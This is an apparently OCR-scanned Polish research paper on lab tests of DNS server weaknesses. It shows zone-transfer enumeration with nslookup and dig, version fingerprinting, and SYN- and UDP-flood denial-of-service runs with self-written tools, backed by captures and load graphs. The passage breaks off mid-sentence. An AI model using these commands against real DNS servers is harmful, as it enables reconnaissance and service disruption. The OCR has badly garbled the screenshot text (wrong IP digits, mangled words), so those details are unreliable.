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STRESZCZENIE: W artykule zostaly przedstawione wyniki eksperymentow, ktorych celem byto
sprawdzenie podatnosci najbardziej popularnych serweréw DNS na wybrane zagrozenia.

SEOWA KLUCZOWE: testy penetracyjne, zagrozenia bezpieczenstwa, DNS

1. Wstep

Celem przeprowadzonych i opisanych w niniejszym artykule badan, byta
eksperymentalna weryfikacja podatnosci wybranych serweréw DNS na
zagrozenia opisane w [8]. W trakcie badan wykorzystywano elementy sieci
przedstawione na rys. 1. Ich szczegétowa specyfikacja zostata przedstawiona
w tab. 1. Sa to glownie serwery DNS posadowione na roznych platformach
systemowych obstugujace domeny wymienione na rys. 1 i w tab. 1

2. Transfer strefy

Transfer strefy zwiazany jest z funkcja serwerow DNS polegajaca na
przesytaniu rekordow bazy danych o strefie przez serwer glowny do serwerow
podrzednych. Zagrozenia zwiazane z tym mechanizmem przedstawiono w [8].
W  przypadku niestarannie skonfigurowanego serwera DNS informacje
znajdujace si¢ w pliku strefy mozna uzyska¢ z dowolnego komputera, za
pomoca programu nslookup lub dig. Na rys. 2 przedstawiono przyktad
pozyskiwania takiej informacji za pomoca programu nslookup. Na rys. 3
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przedstawiono podobny przypadek ale z uzyciem programu dig. W obu
przypadkach programy uruchomiono w sieci testowej na komputerze
atak.intruz.tst. Dane dotyczace domeny robocza.tst uzyskano z serweréw
rdns.robocza.tst i lbind.robocza.tst. Mozna wigc zauwazy¢, ze podatno$¢ na
przedstawione dziatanie wykazuje zarowno serwer msdns jak i bind.

wbind

rdns zapasowy serwer DNS

podstawowy serwer DNS

msdns
zapasowy serwer DNS

Ibind

zapasowy serwer DNS
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domena

robocza.tst.

lim

gléwny
serwer DNS

oooo

linbind
serwer DNS

domena tSt.

domena

lin.tst.

adns
serwer DNS

zdns
serwer DNS

domena

ZwWww intruz.tst.

serwer WWW

domena

zasoby.tst

Rys. 1. Struktura sieci stuzacej do przeprowadzenia badan
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Tab. 1. Charakterystyka systemow wykorzystywanych podczas eksperymentow

Maszyna FQDN System Serwer

) ] Adres IP Inne
wirtualna | domena odwr. operacyjny DNS

glowny.tst
1 . Windows 2003 | 10.1.1.1 | MS DNS
1.10.in-addr.arpa.

A srv atak.intruz.tst | Windows 2003 | 10.2.2.2 | MS DNS Www

A lin lin.intruz.tst Debian 4.0 10.2.2.33 brak

rdns.robocza.tst )

R dns 3.10.in-addr.arpa. Windows 2003 | 10.3.3.3 | MS DNS | podstawowy
R _Ibind | lbind.robocza.tst Debian 4.0 10.3.3.4 | BIND 9.4.1 | zapasowy
R_wbind | wbind.robocza.tst | Windows 2003 | 10.3.3.5 | BIND 9.4.1 | zapasowy
R msd msdns.robocza.tst |

msdns
_ 3.10.in-addr.arpa. Windows 2003 | 10.3.3.6 | MS DNS Zapasowy
R ki klient.robocza.tst | Windows 2003 | 10.3.9.1
Z www | zwww.zasoby.tst | Windows 2003 | 10.7.7.77
Z dns zdns.zasoby.tst | Windows 2003 | 10.7.7.7 | MS DNS | podstawowy
Lin linbind.lin.tst Windows 2003 | 10.4.4.4 | BIND 9.4.1 | podstawowy

Nalezy jednak zauwazy¢, ze wyniki przedstawione na rys. 2 i 3 mozna
uzyskac¢ tylko w przypadku niestarannie skonfigurowanego serwera.

Nastgpny eksperyment da efekt zadawalajacy dla intruza nawet
w przypadku poprawnie skonfigurowanego serwera DNS. Jedynym warunkiem,
ktéry musi by¢ spelniony jest mozliwos¢ prowadzenia podstuchania ruchu
sieciowego. Na rys. 4+7 przedstawiono obraz ruchu sieciowego uzyskany za
pomoca snifera zainstalowanego na komputerze intruza w sieci testowej.
Zaobserwowany przeptyw pakietow spowodowany zostat modyfikacja bazy
serwera rdns.robocza.tst. Modyfikacja ta polegata na wprowadzeniu rekordu
A 1 PTR dla nowego komputera w domenie robocza.tst. Komputer o adresie
10.3.100.100 zostat zarejestrowany pod nazwa nowy.robocza.tst.
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=10l x|
:»\Documents and Settings“Administrator>nslookup ;ﬂ
efault Server: atak.intruz.tst
ddress: 18.2.2.2
> server rdns.robocza.tst
efault Server: rdns.robocza.tst
= 18.3.3.3
> 1s —d robocza.tst
[rdns.robocza.tst]
rohocza.tst. SOA rdns.robocza.tst administrator.dns3.robocza
-tst. (37 36800 60A B64P@ 3688)
robocza.tst. NS mzdns .robocza.tst
rohocza.tst. NS rdns.robocza.tst
rohocza.tst. NS vhind.robhocza.tst
robocza.tst. NS lbhind.robocza.tst
klient A 1A.3.9.1
1bind A 1@.3.3.4
localhost 1] 127.8.68.1
msdns A 18.3.3.6
rdns i 18.3.3.3
whind A 18.3.3.5
rohocza.tst. S0A rdns.robocza.tst administrator.dnsd.robocza
-tst. (37 36888 cAA 864980 3688)
>
> server lhind.rohocza.tst
efault Server: lhind.rohocza.tst
ddress: 18.3.3.4
> 1ls —d robhocza.tst
[1bind.robhocza.tst]
robocza.tst. S0n rdns.robocza.tst administrator.dns3.robocza
.tst. <37 36888 6AA B64PA 3608>
rohocza.tst. NS medns ..robocza.tst
robocza.tst. NS rdns.robocza.tst
rohocza.tst. NS whind.robocza.tst
rohocza.tst. NS lhind.robocza.tst
klient A 18.3.9.
1bind A 1A.3.3.4
localhost A 127.8.8.1
msdns 1] 18.3.3.6
rdns 1] 18.3.3.3
whind ] 1@.3.3.5
rohocza.tst. SO0A rdns.robocza.tst administrator.dns3.robocza
-tst. (37 36888 6AA B864P@ 3688) :J

Rys. 2. Wyniki pobrania informacji o strefie za pomoca programu nslookup

i [m] B3|
a
:“Documents and Settings“Administrator>dig Erdns.rohocza.tst robocza.tst axfr

£42> DiG 2.4.1 <<>> Prdns.robhocza.tst robocza.tst axfr

(1 server found>

; global options: printcmd
ohocza.tst. 3688 IN SOA rdns.robocza.tst. administrator.
ns3.robocza.tst. 48 36800 608 86400 3688

3608 IN NS rdns.rohocza.tst.
3608 IN NS vhind.rohocza.tst.
3608 IN NS lbind.robocza.tst.
3688 IN NS msdns.robocza.tst.
3688 IN A 18.3.9.
3688 IN A 18.3.3.4
3688 IN ;] 127.8.8.1
1288 IN A 18.3.3.
3688 IN ;] 18.3.100.1808
36a8 IN A 18.3.9.1
JeBA IN M= 18 poczta.rohocza.tst.
3688 IN ;] 18.3.3.3
1288 IN A 18.3.3.5

o 688 IN rdns.robocza.tst. administrator.

3 S0A
ns3.robocza.tst. 40 36888 6PP 86480 3698
37 Query time: 171 msec
;5 SERVER: 1@8.3.3.3#53¢18.3.3.3>
; WHEN: Sun Aug 85 12:082:55 2807
; &FR =ize: 15 records <(messagez 15. hytes B44)

-

Rys. 3. Wyniki pobrania informacji o strefie za pomocg programu dig
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@ podsluch - Ethereal — . =10 x|

Fle: Edit Miew Go  Capture Analyze  Statistics  Help

‘o, -| Length | Source Destination Protocal | Info

DNS Zone change notification S04 3.10. ddr .arpa

2z TR EH <335

Fiatd: 10.3.3.5 10.3.3.3 DNS Zone change notification response

4 82 10.3.3.5 10.3.3.3 DnNS Standard query S04 robocza.tst

577 10.3.3.5 10.3.3.3 DnNS Zone change notificaticon response

6158 10.3.3.3 10.3.3.5 DNS Standard query response S0A rdns.robocza.tst

7 B2 TOA0305 40,3.3,8 TTEP 1138 » 53 [SYN] Seg=0 Ack=0 Win=16384 Len=0 MSS=1460

8 6 10.3.3.3 10.3.3.5 TCP 53 » 1139 [syM, Ack] Seq=0 Ack=1 Win=16384 Len=0 M55=1460

9 60 TOsacash] d05a58:8 [TER 1138 » 53 [ACk] Seg=1 Ack=1 win=17520 Len=0

10 &0 10.3.3.5 10.3.3.3 DNS [short Frame]

11 54 10430303 10.3.3:85 TLP 53 » 1139 [aCk] Seg=1 Ack=3 Win=17518 Len=0

1z 143 10.3.3.5 10.3.3.3 TCP [Continuation to #12] 1139 » 53 [PSH, ACK] Seq=3 Ack=1 win=17520
13 274 10.3.3.3 10.3.3.5 DnNS Standard query response SOA rdns.robocza.tst S04 rdns.robocza.tst
14 &0 TOLF 38 d0.8.5.3 TER 1139 » 53 [FIM, ACK] Seg=92 Ack=221 win=17300 Len=0

15 54 T48035 40,3.3.8 TEP 53 » 1139 [ACK] Seg=221 Ack=93 win=17429 Len=0

15 54 10.3.3.3 10.3.3.5 TCP 53 » 1139 [FIN, ack] Seq=221 Ack=93 wWin=17429 Len=0

17 &0 TOsacash] d05a58:8 [TER 1139 » 53 [ACK] Seg=93 Ack=222 win=17300 Len=0

18 88 10.3.3.5 10.3.3.3 DNS Standard query S04 3.10.in-addr.arpa

19 167  10.3.3.3 10.3.3.5 DNS Standard guery response S0A rdns.robocza.tst

20 62 Toededohy  d0u8u88 TER 1140 » 53 [SYN] Seg=0 Ack=0 win=16384 Len=0 M55=1460

21 62 10.3%3:3" 10.3.3.5 R 53 » 1140 [svM, ACK] Seg=0 Ack=1 Win=16384 Lan=0 M55=1460

22 a6 10.3.3.5 10.3.3.3 TCP 1140 » 53 [ACK] Seg=1 Ack=1 Win=17520 Lan=0

23 a0l 10.3.3.5 10.3.3.3 DNs [short Frame]

24 54 10.3.3.3  10.3.3.5 TCP 53 » 1140 [ack] Seg=1 Ack=3 Win=17518 Lan=0

25 152 10.3.3.5 10.3.3.3 TCP [Continuation to #25] 1140 » 53 [PSH, ACK] Seq=3 Ack=1 win=17520
26 289 10.3.3.3 10.3.3.5 DNS standard query response S04 rdns.robocza.tst S04 rdns.robocza.tst
27 88 10.3.3.5 10.3.3.3 DNS Standard gquery S04 3.10.7n-addr.arpa

28 a0 10.3.3.5 10.3.3.3 TCP 1140 » 53 [FIN, ACk] Sen=101 Ack=236 win=17285 Len=0

29 54 10.3.3.3 10.3.3.5 TCP 53 » 1140 [Ack] Seg=236 Ack=102 win=17420 Len=0

30 167 10.3.3.3 10.3.3.5 DNS Standard query rasponse S04 rdns.robocza.tst

31 54 10.3.3.3  10.3.3.5 TCP 53 » 1140 [FIN, ack] Seg=236 Ack=102 win=17420 Len=0

32 &0 10.3.3.5 10.3.3.3 TCP 1140 » 53 [ACK] Seg=102 Ack=237 Win=17285 Len=0

33 62 10.3.3.5 10.3.3.3 TCP 1141 » 53 [SYM] Seg=0 Ack=0 win=16384 Len=0 M55=1460

34 &2 10.3.3.3  10.3.3.5 TCP 53 » 1141 [svN, ack] Seg=0 Ack=1 Win=16384 Lan=0 M55=1460

35 &0 10.3.3.5 10.3.3.3 TCP 1141 » 53 [ACK] Seg=1 Ack=1 Win=17520 Len=0

36 &0 10.3.3.5  10.3.3.3 DNS [short Frame]

37 54 10.3.3.3 10.3.3.5 TCP 53 » 1141 [ack] Seg=1 Ack=3 Win=17518 Lan=0

38 89 10.3.3.5 10.3.3.3 TCP [Continuation to #38] 1141 = 53 [PSH, ACK] Seq=3 Ack=1 win=17520
3% 165  10.3.3.3 10.3.3.5 DHNS standard query rasponse S04 rdns.robocza.tst

40 &0 10.3.3.5 10.3.3.3 TCP 1141 » 53 [ACK] Seg=38 Ack=117 Win=17409 Len=0

41 944  10.3.3.3 10.3.3.5 DNS standard query rasponse S04 rdns.robocza.tst

42 & 10.3.3.5 10.3.3.3 TCP 1143 » 53 [FIM, ACk] Sen=38 Ack=1002 win=16519 Len=0

43 54 10.3.3.3  10.3.3.5 TCP 53 » 1141 [Ack] Seq=1002 Ack=39 Win=17483 Len=0

44 54 10.3.3.3  10.3.3.5 TCP 53 » 1141 [FIN, ACk] Seg=1002 Ack=39 win=17483 Len=0

45 &0 10.3.3.5 10.3.3.3 TCP 1141 » 53 [ACK] Seg=39 Ack=1003 win=16519 Len=0

Rys. 4. Wymiana informacji pomiedzy serwerami DNS spowodowana zarejestrowaniem
nowego komputera na serwerze podstawowym

Na rys. 4 pakiety 1+5 dotycza powiadamiania serwera pomocniczego
o fakcie wprowadzenia zmian. Pozostate pakiety sa zwiazane z przekazywaniem
szczegotow wprowadzonej zmiany. Na rys. 5 mozemy obejrze¢ zawartos$é
pakietu 13. Za jego pomoca serwer glowny przekazuje zawarto$¢ nowego
rekordu typu A. Na rys. 6 przedstawiono zawartos¢ pakietu 26. Za jego pomoca
przekazywana jest tre$¢ nowego rekordu PTR.

Na rys. 7 przedstawiono fragment zawartosci rekordu 41. Jest to
odpowiedz serwera glownego na zadanie caloSciowego transferu strefy. Na
rysunku ramka zaznaczono rozwinigta tres¢ jednego z rekordow. Jest to rekord
PTR komputera o nazwie klient.robocza.tst.
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@ podsluch - Ethereal —|of x|
Fle Edit View Go Capturs Analyze Statistics Help
Mo - [tencth [ Ssource [pestinetion [Protocal_[1no ks
II 5% I0.3.3.3 10, 3.3.5 TP 53 5 1139 [ALK] Seq=L Ack=3 win=1/518 Len=U J
12 143 10.3.3.5 G i) TCP [Comtinuation to #12] 113% = 53 [PSH, ACK] Se
0 3 g stang R

10.3.3.

=
il
)
n
)

TR

me
Ethernet II,
Internet Protocol,

00:0c

Src: 00:0c:29:1e:2

Src Addr:

o Domain Mame System (response)
Length: 218
Transaction ID: 0x0450
A Flags: 0xB0B0 (Standard guery response, Ne error)
Questions: 1
Answer RRs: 5
Authority RRs: 0
Additional RRs: O
= Queries
O robocza.tst: type IXFR, <lass inet

Name: robocza.tst
Type: Request for incremental zone transfer
Class: dnet

= Answers

[ robocza.tst: type S04,
robocza.tst: type SDA,
@ rebocza.tst: type S04,
B nowy.robocza.tst: type

Mame, o robocza tet

:27:1e, Dst: :0c:29:11:fh:1h
10.3.3.3 €10.3.3.3), Dst addr: 10.3.3.5 (10.3.3.5)
Transmission Control Protocol, Src Port: 53 (530, Dst Port: 1139 (1139), Seq: 1, Ack: 92, Len:

class inet, mname rdns.robocza.tst
class inet, mname rdns.robocza.tst
class inet, mname rdns.robocza.tst
A, class inet, addr 10.3.100.100

220

Type: Host address
Class: dnet

Time to liwe:
Data length: 4
addr: 10.3.100.100

1 hour

lass dpet, muams rdos

Lroh A lats tume S0

Rys. 5. Przekazanie tre$ci nowo utworzonego rekordu typu A

@ podsluch - Ethereal e =] Ej
File Edt Wiew Go Capture Analyze Statistics Help
: E
Ma, - I Length I Source I Destination J Protocal l Info
I0.3.3.3 I0.3. 3.5 TOF 53 5 LI0 [A-R] Sef=l Ack=J WIN=1751g LEr=U

o

TCP [Comtinuation to #25] 1140 > 53 [PSH, ACK] Se
t

Standard guery S0A

DHS
1140 > 53 [FIN, ACK] Se

TiCR

00:0c:29:1e:27

1291 e,
Src Addr:

Ethernet II, Src
Internet Protocol,

Domain Mame System (response)
Length: 233
Transaction ID: Ox0led
Flags: 0x8080 (Standard query response, No error)
Questions: 1
Answer RRs: §
Authority RRs: 0
Additional RRs: 0
Queries
= 3.10.in-addr.arpa: type IXFR, class fnat
Mame: 3.10.7n-addr.arpa
Type: Reguest for dncremental zone transfer
Class: dnet
Answars
B 3.10.in-addr.
[ 3.10.in-addr.
@ 3.10.in-addr.
= 100.100.3.10.
Mame: 100.100.3.10.7n-addr.arpa

m

m

m

29:11:fh: 1k
10.3.3.3 (10.3.3.3), Dst addr: 10.3.3.5 £10.3.3.5)
Transmission Control Protecel, Src Port: 53 (530, Dst Port: 1140 (1140), Seq: 1, Ack: 101, Len

arpa: type 504, class inet, mname rdns.robocza.tst
arpa: type S04, class inet, mname rdns.robocza.tst
arpa: type S04, class inet, mname rdns.robocza.tst
in-addr.arpa: type PTR, class inet, nowy.rchocza.tst

1 235

Type: Domain name pointer
Class: dnet
Time to Tiwe:
Data length: 7
Domain name: nowy.rohocza.tst

1 hour

i

3,10 . n-addr . arpa: type SoA, class Gnet, mname rdns.robocza.tst

Rys. 6. Przekazanie tresci nowo utworzonego rekordu typu PTR
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@ podsluch - Ethereal

File: Edt ‘“iew Go Capturs  Analyze  Statistics Help

I Destination I Protocol ] Info
10 TP 1131 > 53 [ACK]
5 Standard guery r
B e ) TCP 1141 » 53 [FIN, ACK] Se

I Mo, - I Length J Source
40 &0

ama b
Ethernet II, Src: 00:0c:29:1e:27:1e, Dst: 00:0c:29:11:fth:lhk
Internet Protocol, Src addr: 10.3.3.3 (10.3.3.3), Dst Addr: 10.3.3.5 (10.3.3.5)
Transmission Control Protocol, Src Port: 53 (53), Dst Port: 1141 ({1141}, Seqg: 112, Ack: 38, Len: 890
Domain Mame System (response)
Domain Mame System (response)
Domain Mame System (response)
Domain Mame System {responsel
Domain Mame System {responsel
Domain Mame System {responsel
Domain Mame System {responsel
Domain Mame System {responsel
Domain Mame System {responsel
Domain Hame System (response)
Lengths 71
Transaction ID: Ox012d
[ Flags: 0xB080 (Standard query response, ho error)
Questions: 1
Answer RRs: 1
Autherity RRs: 0
Additional RRs: 0
Queries
= 3.10.in-addr.arpa: type AXFR, class inet
Mame: 3.10.in-addr.arpa
Type: Request for full zone transfer
Class: inet
EH Answers
2 1.9.3.10.in-addr.arpa: type PTR, class inet, klient.robocza.tst
Name: 1.9.3.10.7in-addr.arpa
Type: Domain name pointer
Class: inet
Time to Tive: 1 hour
Data Tength: 20
Domain name: klient.robocza.tst
b Domain Mame System {responsel
= Domain Mame SysTem (response)

[E3]

3]

m

Frame {frame), 944 byte [P: 45 D: 45M: 0

Rys. 7. Fragment odpowiedzi serwera gléwnego na zadanie calo$ciowego transferu strefy

3. Sprawdzanie wersji

Do sprawdzania numeru wersji wykorzysta¢ mozna dostepny w Internecie
program fpdns. Jak mozna zauwazy¢ na rys. 8, w czasie przeprowadzanych
eksperymentow prawidlowo rozpoznawal on zainstalowane oprogramowanie
serwerow DNS. Do okreslania numeru wersji wykorzysta¢ mozna program dig.
Jednak w przypadku serwera MS DNS nie uzyskuje si¢ zadawalajacych
rezultatow, co mozna zauwazy¢ na rys. 9. Program ten prawidlowo okresla
natomiast wersj¢ serwera bind i to bez wzgledu na system operacyjny, na
ktorym zostal on osadzony.

Wyniki dla programu bind zainstalowanego w systemie Linuks (Debian)
przedstawia rys. 10. Na rys. 11 zaprezentowano raport uzyskany w przypadku
tego serwera DNS zainstalowanego w systemie MS Windows 2003.
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2% 10.3.3.4 - PuTTY = ] 4|

[root@lbind ~1# o

[root@lbind ~]# fpdns —r4d —f rdns. robocza. tst

fingerprint {(rdns robocza. tst, 10.3.3 . 3): Hicrosoft Windows DHS 2003 1

d unavailable (HOTIHF)

[root@lbind ~1F

[root@lbind ~1#

[root@lbind ~]F¥ fpdns —-r4 —f wbind.robocza.tst

fingerprint (¥vbind. robocza tst. 10.3.3.5): ISC BIHD 9.2 _3rcl — 9.4 _0a0
[recursion enabled] id: "9.4.1°"

[root@lbind ~]F

[root@lbind ~]F

[root@lbind ~]# fpdns —-rd4d —f lbind. robocza. tst

fingerprint {(lbind robocza tst, 10.3.3 4): ISC BIHND 9.2 _ 3rcl — 9.4 _0al
[recursion enabled] id: "9.4 1-P1°

[root@lbind ~1#

Rys. 8. Wyniki rozpoznania wersji uzyskane za pomoca programu fpdns

Wiersz polecenia i ] 4|

a
:nrdig Brdns.robocza.tst —t txt —¢ chaos version._bind :j

5 <422 DiG ?2.4.1 {<{>> Prdns.rohocza.tst —t txt —c¢ chaos version.bind
(1 server found>

global options: printcmd

Got ansuwer:

—>>HEADER<{<{— opcode: QUERY. status: NOTIMP. id: 699

flags: gr »d; QUERY: 1. ANSWER: @A. AUTHORITY: @, ADDITIONAL: A
WARNING: recursion regquested but not available

55 QUESTION SECTION:
sversion.hbind. CH TXT

Query time: @ msec
SERUER: 1P8.3_3_3#53¢18.3.3.3>
WHEN: VWed Aug A1 14:45:31 2087
MSG SIZE wrcvd: 3@

Rys. 9. Wyniki rozpoznania wersji uzyskane za pomocg programu dig w stosunku do
serwera MS DNS

iersz polecenia _ Ol x|

C:“>dig Plbhind.robocza.tst —t txt —c chaos version.hind :j

{<{>> DiG ?7.4.1 <{<{>> @lbhind.robhocza.tst -t txt —c chaos version.hind
{1 server found>

globhal options: printcmd

Got ansuwer:

—>>HEADER{<{— opcode: QUERY. status: NOERROR. id: 913

flags: gqr aa pd; QUERY: 1, ANSWER: 1. AUTHORITY: 1. ADDITIONAL: @
WARNING: recursion regquested but not availahle

QUESTION SECTION:

iversion.bind. CH TXT

55 ANSWER SECTION:

version.bind. a CH THT "9 4.1-P1"

55 AUTHORITY SECTION:

version.bind. a CH NS version.bhind.

5 Query time: 15 msec

; SERUER: 1@.3_3_4#53¢108.3_.3_4>
5 WHEN: Wed Aug A1 14:48:81 2887
5 MSG SIZE rcud: 65

-l

Rys. 10. Wyniki rozpoznania wersji uzyskane za pomoca programu dig w stosunku do
serwera bind zainstalowanego w systemie Linuks
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e\ | Wiersz polecenia - T =10l x|

a
C:n>dig Guwhind.robocza.tst —t txt —c¢ chaos version.hind :j

3 43> DiG 2.4.1 <{<{»>» Bubind.robocza.tst -t txt —c chaos version.bind
5 {1 server found>

55 global options: printcmd

55 Got answer:

55 —2>HEADER<<- opcode: QUERY. status: NOERROR, id: 1382

;5 flags: gr aa »d; QUERY: 1, ANSWER: i, AUTHORITY: 1. ADDITIONAL: @
55 WARNING: recursion Pequested but not availahle

55 QUESTION SECTION:

sversion.bind. CH THT

55 ANSUWER SECTION:

version.bind. a CH TXT R O

55 AUTHORITY SECTION:

version.bind. a CH NS version.hind.

55 Query time: B m

i SERUER: 18.3.3. 5“53(13 3.3.5>
55 WHEN: Wed Aug 81 14:47:87 28087
53 MS5G SIZE vpcvd: 62

Rys. 11. Wyniki rozpoznania wersji uzyskane za pomoca programu dig w stosunku do
serwera bind zainstalowanego w systemie MS Windows 2003

4. Ataki typu odmowa uslugi

4.1. Atak SYNflood

W niniejszym punkcie przedstawiono wyniki eksperymentu polegajacego
na przeprowadzeniu ataku SYNflood na serwer DNS. Dla potrzeb tego
eksperymentu opracowano program (eksploit) o nazwie SYNFLOOD.

Na rys. 12 przedstawiono wyniki badania czasu odpowiedzi serwera
rdns.robocza.tst w normalnych warunkach eksploatacji sieci testowe;.
Interesujacy fragment raportu zaznaczono ramka. Mozna zauwazy¢, ze czas
odpowiedzi wynosi 15 ms.

Nastepnie zainicjowano atak SYNflood. Na rys. 13 przedstawiono raport
z uruchomienia programu SYNFLOOD.

Rys. 14 prezentuje obraz ruchu sieciowego podczas ataku. Pakiety SYN
kierowane sa do atakowanego komputera o adresie 10.3.3.3 na port 53 TCP
(DNS). Akceptuje on kolejne prosby o polaczenie odpowiadajac pakietami
SYN/ACK. Poniewaz adresy zrodlowe w pakietach SYN zostaly sfalszowane,
serwer DNS nie uzyskuje potwierdzenia odbioru dla swoich pakietow SYN,
ACK. Mozna zaobserwowac, ze realizuje on wobec tego powtorzenie transmisji.
W innych systemach operacyjnych, np. w Linuksie, tych prob powtdrzen bytoby
wigcej.
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Wiersz polecenia B o ] 1|

\Documents and Settings“Administrator>dig @rdns.robocza.tst robocza.tst

£{>> DiG ?.4.1 {<>> Prdns.robocza.tst robocza.tst

(1 server found

global options: printcmd

Got answer:

—>>HEADER<{<— opcode: QUERY, status: NOERROR, id: 1461

flags: gqr aa rd ra; QUERY: 1. ANSWER: 8. AUTHORITY: 1, ADDITIONAL: @

QUESTION SECTION:

;;ohucza.tst. IN A
55 AUTHORITY SECTION:
ohocza.tst. e[l IN S0A rdns.robocza.tst. administrator.

Query time: 15 msec
SERUER: 18.3.3.3#53<18.3.3.3>

55 MSG S8IZE wpced: 89 _j
=i

Rys. 12. Wyniki badania czasu odpowiedzi serwera rdns.robocza.tst w normalnych
warunkach eksploatacji sieci testowej

Wiersz polecenia i =] ]
-
SNPSYNFLOOD 18.3.3.3 —p:=h3
arametry uruchomienia:
dres docelowy 18.3.3.3
yzlanie nieograniczonej ilosci pakietow
ort docelowy 53
gstep czasowy pomiedzy pakietami B ms.
NP
Rys. 13. Raport z uruchomienia programu SYNFLOOD
il x|

Ele: Edit Wiew Go Capture Analyze Statistics Help

Mo, - Diestination

S .81.5.10 :
31343 169.81.5.10 TCP 53 > 948 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1460
.115.199.24 10.3.3.3 TCR 23356 > 53 [SyN] Seq=0 Ack=0 win=163584 Len=0 M55=1460
i3 36.115.199.24 TR 53 > 23856 [SYN, ACK] Seq=0 Ack=1 win=16384 Len=0 MSS=1460
.37.84.67 10.3.3.3 TCR 16319 > 53 [SYN] Seq=0 Ack=0 Win=16354 Len=0 M55=1460
TAi803 32.37.84.67 TCP 53 > 16319 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=14&0
.93.71.60 10.3.3.3 TCP 11603 > 53 [S¥N] Seq=0 Ack=0 Win=16384 Len=0 M55=1460
PR 57.93.71.60 TCP 53 » 11603 [SvN, ACK] Seq=0 Ack=1 win=18384 Len=0 M55=1460
sdndag 36.115.199.24 TCR 53 > 23856 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 M55=1480
252.17.65.22 10335843 TCP 17850 > 53 [SYN] Seq=0 Ack=0 Win=16384 Len=0 MS5=1450
1043:3.3 32.37.84.67 TCP 53 » 16319 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 M55=1460
165.98.77.81 10.3.3.3 TCR 4281 » 53 [SYN] Seq=0 Ack=0 win=16384 Len=0 M55=1460
.3.3.3 165.98.77.81  TCP 53 > 4281 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MS5=1460
b 57.93.71.60 TCR 53 > 11603 [SYN, ACK] Seq=0 Ack=1 win=16384 Len=0 M55=1460
.115.155.76  10.3.3.3 TCP 17475 » 53 [SYN] Seq=0 Ack=0 Win=16384 Len=0 MSS=1460
333 44.115,155.76  TCP 53 » 17475 [SvN, ACK] Seq=0 Ack=1 win=16384 Len=0 M55=1460
c3.3.3 169.81.5.10 TCR 53 > 945 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1460
.87.103.63 Al P TCP 13293 > 53 [SYN] Seq=0 Ack=0 Win=16384 Len=0 M55=1460
B3 79.87.103.63  TCP 53 > 13293 [S5YN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MS5=1440
e 165.98.77.81  TCP 53 > 4281 [S¥N, ACK] Seq=0 Ack=1 Win=16384 Len=0 M55=1460
.47.13.100 10.3.3.3 TCP 4471 » 53 [5¥N] Seg=0 Ack=0 win=16384 Len=0 M55=1460
i 18.47.13.100  TCP 53 > 4471 [S¥N, ACK] Segq=0 Ack=1 Win=16384 Len=0 M55=1460
v3233 44_115.155.76 TCP 53 » 17475 [SvN, ACK] Seq=0 Ack=1 win=15384 Len=0 M55=1450
169.10.59.126  10.3.3.3 TCP 3453 » 53 [SYN] Seq=0 Ack=0 Win=16384 Len=0 MSS=1460

Rys. 14. Obraz ruchu sieciowego podczas ataku SYNflood na serwer DNS
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Jakie byly skutki ataku po stronie serwera DNS? Daje si¢ zauwazy¢
znaczne wydtuzenie czasu odpowiedzi udzielanej przez serwer podczas ataku.
W obserwowanym przypadku wyniost on 921 ms — patrz ramka na rys. 15.
Jednoczesnie mierzono obciazenie procesora i karty sieciowej atakowanego
komputera. Na rys. 16 mozna zauwazy¢, ze przed atakiem obciazenie tych
zasobow bylo znikome, wrgcz niezauwazalne. Podczas ataku obciazenie
procesora oscylowato w przedziale 70+100 %. Obciazenie to przedstawia gorna
krzywa. Znacznie wzrosto tez obciazenie karty sieciowej — krzywa dolna.

=+ | Wiersz polecenia =13 x|

Y|

C:sDocuments and Settings“Administrator>dig Brdns.robocza.tst robocza.tst

€<{>> DiG 9.4.1 <<>> Prdns.robocza.tst rohocza.tst

(1 server found>

; global optionz: printemd

; Got answer: J
; —>>HEADER{<- opcode: QUERY, status: NOERROR, id: 271

; flags: gr aa rd ra; QUERY: 1. AMSWER: 8. AUTHORITY: 1, ADDITIONAL: A

;5 QUESTION SECTION:

;;ohocza.tst i IN A
55 AUTHORITY SECTION:
rohocza.tst. 3688 IN S0A rdns.robocza.tst. administrator.

dns3.robocza.tst. 40 36888 688 86488 3688

; SERUER: 18.3.3.3#53{108.3.3.3>
5 WHEN: Sun Aug @5 12:32:27 2807

G olLE  PCOU- OF

Rys. 15. Wyniki badania czasu odpowiedzi serwera rdns.robocza.tst podczas ataku SYNflood

L1 x]
i@ Pli.  Akcja wfidok  Ulubione Okno  Pomoc |_ ﬁllll

A

el 0l QIPt sl B WEl +xle| RielE [0 =@l
=8| 100
a0
80
70
60
50
e Poczatek
ataku
a0
20
. m
g
Ostatri | 0,000 Srednia[  929702,376 Minimum 0,000 Maksimum | 4801798
Czas brwania 1:40

Rys. 16. ObciaZenie procesora i karty sieciowej przed i podczas ataku SYNflood
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Jeszcze wigksze obcigzenie komputera atakowanego mozna byloby
uzyska¢ przeprowadzajac atak typu DDOS [8]. W testowanym przypadku do
praktycznie calkowitego zablokowania serwera DNS  wystarczyloby
przeprowadzenie ataku z 2+3 komputerow.

4.2. Atak UDPflood

W niniejszym punkcie przedstawiono wyniki eksperymentu polegajacego
na przeprowadzeniu ataku UDPflood na serwer DNS. Dla potrzeb tego
eksperymentu opracowano program (eksploit) o nazwie UDPFLOOD.

Przed rozpoczeciem ataku zbadano czas odpowiedzi serwera
rdns.robocza.tst w normalnych warunkach eksploatacji sieci testowej. Wyniki
uzyskano identyczne jak przed atakiem SYNFlood (rys. 12).

Nastgpnie zainicjowano atak UDPflood. Na rys. 17 przedstawiono raport
z uruchomienia programu UDPFLOOD.

=\|Wiersz polecenia 1l o ] [

:5>UDPFlood 18.3.3.3 —p:h3
arametry uruchomienia:

dres docelowy 18.3.3.3

yslanie nieograniczonej ilosci pakietow

ort docelowy 53

gstep czasowy pomiedzy pakietami A ms.

NP
S,

Rys. 17. Raport z uruchomienia programu UDPFLOOD

Rys. 18 prezentuje obraz ruchu sieciowego podczas ataku. Pakiety
kierowane sa do atakowanego komputera o adresie 10.3.3.3 na port 53
UDP(DNS). Poniewaz pakiety zawieraja jedynie nagtéwki IP i UDP — pole
danych nie wystepuje, wigc sa one rozpoznawane jako pakiety uszkodzone
(malformed). Podobnie jak podczas ataku SYNflood adresy zrodtowe w zostaty
